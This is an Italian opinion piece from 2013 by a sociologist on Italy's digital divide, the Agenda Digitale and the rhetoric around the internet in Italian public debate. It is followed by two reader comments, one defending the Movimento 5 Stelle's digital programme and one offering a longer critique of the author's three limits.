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Direttore responsabile Alessandro Longo

L'accusa

DigitItalia, vecchia Italia

di Giovanni Boccia Artieri, università di Urbino

16 Gen 2013

16 gennaio 2013

Il divario digitale è dentro ognuno di noi. L’Agenda è un modello di pura digitalizzazione dell’esistente che tende a conservare le logiche di potere presenti nella pubblica amministrazione. Grillo? Non aiuta. La riflessione del noto sociologo delle nuove tecnologie

Riflettere sullo sviluppo del digitale in Italia significa scontrarsi con un’inevitabile pars destruens che ha a che fare con un’arretratezza del dibattito e con un divide sociale che è culturale prima che tecnico-strutturale. Ci troviamo infatti di fronte a tre tipi di limite che si spalmano culturalmente nelle pieghe politiche ed amministrative e che hanno tangenzialmente a che fare con lo sviluppo infrastrutturale del Paese: la realtà è che il divario digitale in Italia è dentro ognuno di noi, ha a che fare con il nostro modo di pensarci con/nel digitale, con i nostri atteggiamenti culturali nei confronti della Rete e con un limite socio-antropologico del potere, tradizionalmente refrattario all’innovazione e propenso piuttosto ad affidarsi a cure di stampo “gattopardesco”: cambiare tutto per non cambiare nulla.


Eppure il primo limite è proprio di tipo infrastrutturale ma il suo senso più profondo è ancestrale non ha a che fare solo con le difficoltà di connessione e di velocità di trasmissione nel Paese. L’infrastruttura IT non viene considerata una priorità per essere cittadini e infatti non viene ricompresa nelle opere di “urbanizzazione primaria”, quelle per intenderci obbligatorie nello sviluppo di un territorio, come il diritto ad avere infrastrutture idriche od elettriche adeguate. Questa posizione politico-normativa, e quindi culturale, è così radicata che nemmeno l’Agenda Digitale appena varata la riesce a scalfire. Quindi innoveremo nella P.A. o nelle scuole costruendo slogan che inneggiano al mobile, agli Open Data, a device smart che poggeranno sul vuoto infrastrutturale. Come spiega in modo lucido Michele Vianello siamo di fronte ad un modello di pura digitalizzazione dell’esistente che tende a conservare di fatto le logiche di potere presenti nella pubblica amministrazione, con buona pace delle forme eterarchiche e peer del social networking e della necessità di ristrutturazione organizzative che principi di cloud computing introdurrebbero. Un passaggio radicale verso la dimensione del digitale marcherebbe invece una discontinuità delle forme organizzative. Per questo ogni riforma su cui si è lavorato finora si è ammantata di un’idea dell’innovazione come esercizio linguistico, di superficie, mantenendo però un atteggiamento conservatore di fondo.


Il digitale contiene quindi un senso di resistenza implicita nel nostro Paese e rappresenta un terreno di conflitto sociale e politico in cui si gioca il passaggio ad una idea diversa di cittadinanza che è supportata in modo corrispondente da un’amministrazione statale differente. Solo che si tratta, appunto, di un conflitto esplicitato poco e male culturalmente, con la conseguenza di un dibattito pubblico massmediale spesso superficiale. Difficilissimo trovare rappresentate nei talk show televisivi o nelle pagine principali dei quotidiani posizioni informative e consapevoli, a meno di non invitare un esperto a cui riservare il ruolo del geek per fare da contraltare a posizioni meno che competenti e populiste rappresentate dal conduttore o a titoli che rimandano al mondo dello strano-ma-vero di un futuro che non ci appartiene veramente.


E proprio perché ci troviamo di fronte ad un campo di conflittualità così trattato, un secondo limite con cui ci scontriamo lo possiamo individuare osservando le retoriche che accompagnano la penetrazione del digitale in Italia. Siamo spesso di fronte ad una tensione tra linguaggi da tecno-invasati e neo-inquisitori. Da una parte  abbiamo sotto gli occhi le vulgate del populismo digitale, quello inscenato ad esempio da Beppe Grillo con affermazioni del tipo “abbiamo una popolazione vecchia che non usa la rete, che non usa i social network. Oggi siamo governati da parassiti dilettanti. Non sanno nulla”. Buono per raccogliere l’attenzione ed il sostegno del proletariato digitale, quello infooperaista rappresentato da uno stuolo crescente di informatici e tecnici che lavorano nel mondo ICT di tutte le imprese e nelle strutture pubbliche, o per raccogliere demagogicamente l’attenzione dei più giovani – non chiamateli “nativi digitali”, quelli saranno i loro figli!, fa parte della retorica anche questo – che hanno visto crescere la polarizzazione della comunicazione online, abituandosi ad usare strumenti e grammatiche del digitale in una società ad alto tasso analogico.


Dall’altra parte troviamo le resistenze alla costruzione di un dibattito che fino a qualche anno fa si limitavano a contrapporre le forme analogiche ad un digitale che avrebbe prodotto oggetti culturali comunque carichi di minore senso: vi ricordate dei dibattiti libro vs. ebook? O enciclopedia vs. wikipedia? Oggi che la portata trasformativa del digitale è più densa e visibile – basti pensare al mercato editoriale e pubblicistico – la posizione più radicalmente oppositiva viene riservata alla critica della ragione digitale o meglio alla costruzione di una retorica che freni il pensiero del cambiamento attraverso una divulgazione costruita a colpi di letteratura critica che sceglie sapientemente gli intellettuali più alla moda in questo campo. Basta osservare la narrazione che viene costruita attorno allo sfumarsi dei confini tra pubblico e privato e come al digitale venga di fatto ricondotto un possibile conflitto generazionale: “I teenager equipaggiati di confessionali elettronici portatili non sono che apprendisti in formazione e formati all´arte di vivere in una società-confessionale, una società notoria per aver cancellato il confine che un tempo separava pubblico e privato, per aver fatto dell´esposizione pubblica del privato una virtù pubblica e un dovere, e per aver spazzato via dalla comunicazione pubblica qualsiasi cosa resista a lasciarsi ridurre a confidenze private, insieme a coloro che si rifiutano di farle”, scrive con il solito tono apocalittico Zigmunt Bauman.
In mezzo abbiamo il tentativo di un dibattito competente ed illuminato (vorrei dire “illuminista”) che viene però schiacciato nella morsa di queste due retoriche o confinato ad esprimersi negli interstizi di blog – anche molto letti – o nella timeline dei social network ma che scala veramente la comunicazione solo quando può essere declinato da una parte o dall’altra.

Un terzo limite ha a che fare con le abitudini e le attitudini di consumo mediale degli italiani e con la relazione fra queste e la costruzione di una propria opinione sulla realtà.

Solo la metà delle famiglie italiane, dati Istat , ha un accesso alla rete (55.5%) e quasi 6 su 10 possiedono un personal computer (59.3%). Siamo al ventiduesimo posto nelle classifiche internazionali in compagnia della Lituania. Ma, anche qui, quello che dobbiamo chiederci è perché esista questo divario con gli altri Paesi e così scopriamo come le motivazioni abbiano motivazioni culturali (di cultura mediale) profonde: per 4 famiglie su 10 dipende dall’assenza di competenze nell’utilizzo di Internet, in pratica un “non so come usarlo” che riguarda il del 43.3%; e per quasi 3 su 10 dal fatto che la Rete non sia né utile né interessante, perciò non serve nemmeno la connessione (26.5%). D’altra parte l’Italia è un Paese massmedia-centrico o, per sintetizzare meglio, tv-centrico, che ha sviluppato le sue forme di informazione ed intrattenimento in particolare attorno allo schermo domestico. E lo è per sua storia culturale e politica, con una stretta linea di continuità che va dalla scelta in epoca paleotelevisiva da parte di DC e PCI di farne un medium educativo fino allo sviluppo neotelevisivo gestito attraverso l’avvento della televisione privata e che, come molti saggi mostrano, ha prodotto l’humus culturale adatto allo sviluppo della politica degli ultimi venti anni. Le opinioni degli italiani passano ancora molto attraverso la televisione, quindi attraverso forme verticali di comunicazione e tendenzialmente passive – escludendo il televoto, per dirla con una certa ironia. E basta guardare i trending topics su Twitter provenienti dall’Italia per vedere come siano frutto della pratica di social television che, al di là delle straordinarie possibilità di messa in connessione dei pubblici, ci descrive una realtà in cui l’agenda dei social media è dettata fondamentalmente dalla televisione.


I tre limiti di cui abbiamo parlato richiedono allora di ripartire costruendo una narrazione diversa sul digitale che non contrapponga il vecchio (analogico) e le sue esigenze al nuovo (digitale) e i suoi limiti o il potere del popolo del web a quello della politica e dell’amministrazione, che non si nasconda né dietro a tecno-specialismi né dietro a mitizzazione taumaturgiche dell’innovazione (pensate al racconto delle LIM nel mondo della scuola o a quello delle startup come nuova buzzword nell’economia). Il digitale ha in Italia bisogno di una politica di storytelling che sappia rigenerare il racconto a partire dall’informazione e dalla cultura, dall’educazione e dai luoghi di lavoro. Una narrazione che riparte dalla consapevolezza che i diritti di cittadinanza passano oggi anche da qui, che la conoscenza trova in Rete un luogo naturale per conservarsi, svilupparsi e diffondersi, che nuovi modelli economici e valorizzazione progettuale trovano nelle forme e nei linguaggi del web (peer, free, open, partecipativi, ecc.) interessanti vie di sviluppo senza le macchie di un gattopardo.  

 

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  • alexcurti

    Volevo solo chiarire che il MoVimento 5 Stelle ha un programma articolato e approfondito sul tema “Informazione e Digitalizzazione” e reputo pericoloso, dannoso e strumentale liquidare il lavoro fatto da centinaia di persone in rete e in incontri fisici con una frasetta di Grillo, estrapolata da chissà quale contesto, riportata ad arte nel sottotitolo.
    Inoltre, proprio il sottoscritto al PA Forum, nell’ambito di Agenda Digitale, ha presentato un progetto, o meglio delle linee guida progettali, proprio sull’infrastruttura e sul digitaldivide (vedi digitaldividemilano.com).
    @AlexCurti

  • pmadotto

    Il suo intervento mi trova d’accordo solo in parte e mi porta alcune considerazioni. La lettura della società italiana che spesso viene fatta, e che anche lei adotta, è parziale. Partiamo dai limiti che ha individuato:
    – infrastrutturale
    Chi si occupa di questi temi è influenzato da termini indotti. il problema dell’informatizzazione è un vecchio problema, da una parte le aziende IT continuano a cercare di generare una domanda e dall’altro la società non sta dietro al cambiamento. Nel caso dello Stato il problema è ancora più complesso perchè il sistema di organizzazione dello stato non può essere gestito come quello di una azienda. I meccanismi democratici e istituzionali influenzano tutta l’organizzazione. Il problema, a mio modo di vedere, non è quello di avere più tecnologia ma quello di capire quale sia il modello di Stato che risponda meglio alle esigenze della società e quali devono essere le funzioni che ricopre lo Stato. Negli ultimi 30 anni la scuola neoliberista ha proposto un modello nel quale le funzioni dello stato fossero riportate al minimo lasciando spazio alla società, oggi ci accorgiamo da molte parti che emerge una impostazione diversa. Le tecnologie sono strumento che rende possibile un modello organizzativo diverso mentre per chi produce tecnologie queste sono al centro di tutto. In una società più orizzontale, post-fordista e a rete è necessario uno stato che assecondi questo modello (graze alle tecnologie).
    Le resistenze ci sono sempre state in ogni cambio di paradigma, d’altra parte la tecnologia da sé non è mai adatta a disegnarsi sul modello organizzativo. Proprio dalla sua teoria della deriva tecno-mediale qualche anno fa sono partito per una riflessione sul cambiamento nella PA grazie alla comunicazione. Quello che sta succedendo è che l’industria riempie la PA (grazie ad una serie di fattori di cui sarebbe lungo discutere qui) di nuove tecnologie che non riescono ad essere “digerite” e rielaborate per diventare modelli organizzativi e consuetudini. I conservatorismi sono importanti ma non sono meno importanti altri fattori quali l’invecchiamento del personale che non trova da tempo nuove assunzioni, alcune prassi consolidate, la negazione del merito, ecc. Se non consideriamo tutto c’è il rischio che semplifichiamo tutto tra “rottamatori” e “innovatori” che francamente non mi convince.

    – retoriche
    è un limite che deriva dalla profonda mancanza di cultura tecnica che ha l’Italia attuale. Ormai da qualche decennio abbiamo smesso di produrre un quantità di ingegneri sufficiente, abbiamo trasformato le scuole tecniche e professionali in lager e la formazione ha vissuto una sempre più forte specializzazione tra ambiti diversi. Oggi che avremmo bisogno di una maggiore contaminazione tra cultura tecnica e cultura umanistica abbiamo un sistema che li distingue sempre di più. Le riforme della scuola passate in questi ultimi 15 anni hanno teso a creare una classe di lavoratori semi ignoranti funzionali alla domanda del dio mercato e una classe di figure umanistiche che hanno un percorso manageriale.

    Mentre le più stravolgenti innovazioni nel mondo nascono dall’unione di ambiti disciplinari diversi e dal mix umanistico-tecnico noi abbiamo costruito un sistema classista che, fortunosamente, non funziona completamente grazie agli insegnanti che spesso si sono opposti a questo modello.

    Personalmente ritengo che il modello olivettiano sia il più attuale è utile oggi. Questo per dire che la mancanza di conoscenza tecnica ci porta ad essere un paese nel quale il dibattito intorno all’innovazione annovera pochissime persone in grado di sapere la differenza tra un transistor e un mosfet o tra un amplificatore operazionale e una ram e tanti in grado di filosofeggiare senza entrare nel merito. Negli states abbiamo i vertici di google o microsoft che facevano i programmatori fino a poco tempo fa che discutono del futuro di internet, qui abbiamo tanti giornalisti.

    Questo limite strutturale ci porta spesso ad accapigliarsi intorno a termini poco conosciuti o comprensibili, uno dei casi eclatanti è smartcity che viene piegato un po’ come si vuole. Bisognerebbe costruire maggiore contaminazione di mondi e di conoscenze e questo aiuterebbe molto nel dibattito.

    – abitudini e attitudini

    I dati ci danno un quadro della realtà ma vanno considerati con una ottica iù ampia. Se è vero che la fibra arriva ad un numero limitato di persone è anche vero che siamo tra i primi al mondo per la penetrazione del mobile. Molti usano le chiavette internet e i telefonini e questo nelle statistiche della banda larga non è considerato. Il dato appare falsato. Evito di entrare nel merito della copertura netta e lorda e altre considerazioni che considero ridicole per un paese industriale ma noi li abbiamo.

    Tralascio per brevità una analisi sul perché non ha senso tentare di coprire il territorio con le stesse tecnologie che si adottano in europa avendo una struttura sociale diversa. Mi scuso di non poter approfondire in questa sede.

    Poi dovremo anche dire che poiché per usare un prodotto che opera sulla conoscenza come internet è necessario avere un buon livello di conoscenza noi abbiamo il limite che la nostra popolazione ha un basso livello di istruzione rispetto all’ocse. Troppo quello che facciamo! Siamo comunque un paese con una discreta diffusione di internet.

    Io non credo che il problema sia la tv, d’altra parte gli ascolti continuano a scalare mentre aumenta l’attenzione su internet. Il problema forse è l’applicazione killer sono i social media e il telefonino. La nostra è una società locale e nomade allo stesso tempo.

    Detto questo non credo il problema sia lo storetelling, ritengo piuttosto che sia un insieme di fattori. Una arretratezza della società e una mancanza di leadership.

    Chiedo scusa se scrivendo velocemente ci sono dei refusi o se le argomentazioni sono solo accennate.
    @pmadotto

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